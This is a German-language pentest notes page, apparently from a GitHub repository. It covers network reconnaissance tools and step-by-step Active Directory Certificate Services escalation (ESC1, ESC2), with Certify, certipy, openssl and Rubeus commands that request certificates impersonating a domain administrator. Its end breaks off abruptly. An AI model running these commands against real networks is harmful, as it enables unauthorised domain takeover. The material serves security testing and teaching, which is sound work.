
RedTeam/Pentest Notizen und Experimente, die auf mehreren Infrastrukturen im Rahmen professioneller Engagements getestet wurden.
Öffentlich zugängliche Notizen über meine Pentesting-/Red-Teaming-Experimente, die in mehreren kontrollierten Umgebungen/Infrastrukturen getestet wurden und den Einsatz verschiedener Tools und Techniken umfassen, die von Penetrationstestern und Redteamern während einer Sicherheitsbewertung verwendet werden.
Wir begrüßen Beiträge als GitHub-Pull-Requests.
Dank und Anerkennung an die Leute, die die harte Arbeit geleistet haben
Haftungsausschluss
Nur zu Bildungszwecken, Nutzung auf eigene Verantwortung.
Sammle Informationen über den Domainnamen und Windows-Rechner, die im Netzwerk laufen```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
oder```bash
bash$ responder-RunFinger
Scannen von IP-Netzwerken nach NetBIOS-Namensinformationen.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
Durchsuche den Netzwerkbereich basierend auf den SMB-Informationen.```bash
bash$ cme smb 192.168.1.1/24
Scanne das gesamte Maschinennetzwerk und speichere die Ausgaben .
Schneller Scan```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
Intensiver Scan (Hinweis empfohlen):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Scan mit Aufzählung der Version der laufenden Dienste :
## Angry IP scanner
Laden Sie das Tool über diesen Link herunter:
[Angry IP Scanner](http://angryip.org/download/#linux)
* Ändern Sie die Einstellungen
> Gehen Sie zu: Einstellungen -> Ports -> fügen Sie 80,445,554,21,22 in die Portauswahl ein <br>
> Gehen Sie zu: Einstellungen -> Anzeige -> wählen Sie Aktive Hosts <br>
> Gehen Sie zu: Einstellungen -> Ping -> wählen Sie Kombiniert (UDP/TCP)
# Seitwärtsbewegung und Exploitation
### Active Directory Certificate Services
Dieser Teil wurde kopiert von https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Weitere Details unter: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Getestet in privater Umgebung (Bloodhound, dann ESC1-Exploit))
* ADCS-Server finden
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* AD Enterprise CAs mit certutil auflisten: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Fehlkonfigurierte Zertifikatsvorlagen
> Domain-Benutzer können sich in der Vorlage **VulnTemplate** anmelden, die für die Clientauthentifizierung verwendet werden kann und bei der **ENROLLEE_SUPPLIES_SUBJECT** gesetzt ist. Dies ermöglicht es jedem, sich in dieser Vorlage anzumelden und einen beliebigen Subject Alternative Name (z. B. als DA) anzugeben. Erlaubt die Bindung zusätzlicher Identitäten an ein Zertifikat über den Subject hinaus.
Voraussetzungen:
* Eine Vorlage, die AD-Authentifizierung erlaubt
* **ENROLLEE_SUPPLIES_SUBJECT**-Flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose oder No EKU (Extended/Enhanced Key Usage)
Ausnutzung:
* Verwenden Sie [Certify.exe](https://github.com/GhostPack/Certify), um zu prüfen, ob verwundbare Vorlagen vorhanden sind
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Verwenden Sie Certify, [Certi](https://github.com/eloypgz/certi) oder [Certipy](https://github.com/ly4k/Certipy), um ein Zertifikat anzufordern und einen alternativen Namen (zu impersonierenden Benutzer) hinzuzufügen
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Verwenden Sie OpenSSL und konvertieren Sie das Zertifikat. Geben Sie kein Passwort ein.
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Verschieben Sie die cert.pfx in das Dateisystem des Zielrechners und fordern Sie mit Rubeus ein TGT für den altname-Benutzer an.
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**WARNUNG**: Diese Zertifikate bleiben auch dann verwendbar, wenn der Benutzer oder Computer sein Passwort zurücksetzt!
**HINWEIS**: Achten Sie auf die Flags **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** sowie auf NTLM-Relay zu AD CS HTTP-Endpunkten.
#### ESC2 - Fehlkonfigurierte Zertifikatsvorlagen
Voraussetzungen:
* Erlaubt Antragstellern, einen Subject Alternative Name (SAN) in der CSR anzugeben, sowie Any Purpose EKU (2.5.29.37.0)
Ausnutzung:
* Vorlage finden ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname als Domänenadministrator wie in ESC1 angibt.ESC3 ist der Fall, wenn eine Zertifikatvorlage die EKU Certificate Request Agent (Enrollment Agent) angibt. Diese EKU kann verwendet werden, um Zertifikate im Namen anderer Benutzer anzufordern.